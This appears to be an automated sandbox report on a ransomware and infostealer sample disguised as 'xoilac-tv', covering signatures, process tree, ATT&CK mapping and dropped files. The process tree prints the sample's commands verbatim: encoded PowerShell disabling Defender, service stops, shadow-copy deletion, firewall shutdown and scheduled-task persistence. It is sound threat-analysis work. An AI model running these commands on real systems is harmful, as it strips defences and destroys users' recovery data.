Overview

overview

10

Static

static

10

xoilac-tv-...er.exe

windows10-2004-x64

10

xoilac-tv-...er.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 22:52

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General

  • Target
    xoilac-tv-7.fun_hyber.exe
  • Size 49KB
  • Sample261102-2tfd7axvbt
  • SHA256 cbc01e4e018e351054856a2503bb630d8ddf7b8ff7154b29bf001ae94ac01fdd
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4784
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5928
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4808
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5180
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3184
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5952
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:260
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1076
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3160
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe"
        3⤵
          PID:992
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5332
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6040
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5332
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4492
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:4656
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1912
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:480
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4808
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4740
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4464
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3432
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4968
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4312
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2676
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4224
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5360
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5260
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:2264
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1240
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:6056
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:4184
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1888
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3240
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:5048
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1656
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:2904
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:4660
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3a1f055 /state1:0x41c64e6d
            1⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2920
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k CameraMonitor
            1⤵
              PID:4200
            • C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe
              C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe
              1⤵
                PID:4876
              • C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe
                C:\Users\Admin\AppData\Local\Temp\xoilac-tv-7.fun_hyber.exe
                1⤵
                  PID:252
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                    PID:3732

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        4
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Visual Basic

                        1
                        T1059.005

                        Windows Command Shell

                        1
                        T1059.003

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        System Services

                        2
                        T1569

                        Service Execution

                        2
                        T1569.002

                        Windows Management Instrumentation

                        1
                        T1047

                        Persistence

                        Boot or Logon Autostart Execution

                        2
                        T1547

                        Registry Run Keys / Startup Folder

                        2
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        2
                        T1547

                        Registry Run Keys / Startup Folder

                        2
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Direct Volume Access

                        1
                        T1006

                        Impair Defenses

                        3
                        T1562

                        Disable or Modify System Firewall

                        1
                        T1562.004

                        Disable or Modify Tools

                        1
                        T1562.001

                        Indicator Removal

                        2
                        T1070

                        File Deletion

                        2
                        T1070.004

                        Modify Registry

                        3
                        T1112

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Process Discovery

                        1
                        T1057

                        Query Registry

                        2
                        T1012

                        System Information Discovery

                        4
                        T1082

                        System Network Configuration Discovery

                        1
                        T1016

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Defacement

                        1
                        T1491

                        Inhibit System Recovery

                        2
                        T1490

                        Service Stop

                        2
                        T1489

                        Replay Monitor

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                        Downloads

                        doc_2.pdf
                        • Path C:\SystemVolumeInformation\doc_2.pdf
                        • Size 66KB
                        • SHA256 fed2053e3d9b234a903b01710b97680e73e3cd35d819f682690b262d432e3e94
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        __PSScriptPolicyTest_msad2201.hzc.psm1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_msad2201.hzc.psm1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        createshortcut.vbs
                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 246B
                        • SHA256 b4485293d25c5bff15b3c8677a3807d30c759d87bf4ff58ec4e0ece5a7200ae2
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        del.bat
                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        makelnk.vbs
                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 247B
                        • SHA256 c6e0164690307c3aa6d3bd2f52c1a176eb84b045f0b4c7b8b800b6d6a218a0c3
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        invoice_1.pdf
                        • Path C:\Users\Admin\Documents\invoice_1.pdf
                        • Size 66KB
                        • SHA256 7cb2cff5660abecdc20fdaa05b9021a873c9313ea641c42a6a94c7edb3ee2bc5
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        memory/2680-2253-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-10-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-11-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2263-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-8-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-14-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-13-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-12-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2259-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2260-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-7-0x000000001E6E0000-0x000000001E8A2000-memory.dmp
                        Download

                        memory/2680-2257-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-4-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-3-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
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                        memory/2680-9-0x000000001E950000-0x000000001EE78000-memory.dmp
                        Download

                        memory/2680-1-0x0000000000B30000-0x0000000000B42000-memory.dmp
                        Download

                        memory/2680-2255-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2248-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2250-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2251-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-0-0x00007FFC8FD4F000-0x00007FFC8FD50000-memory.dmp
                        Download

                        memory/2680-2252-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2254-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/2680-2256-0x00007FFC8FBC0000-0x00007FFC90564000-memory.dmp
                        Download

                        memory/4656-2244-0x00000250768E0000-0x00000250768E1000-memory.dmp
                        Download

                        memory/4784-1886-0x0000015D21890000-0x0000015D2189A000-memory.dmp
                        Download

                        memory/4784-1493-0x0000015D218A0000-0x0000015D218BE000-memory.dmp
                        Download

                        memory/4784-1546-0x0000015D218C0000-0x0000015D21972000-memory.dmp
                        Download

                        memory/4784-30-0x0000015D215E0000-0x0000015D21602000-memory.dmp
                        Download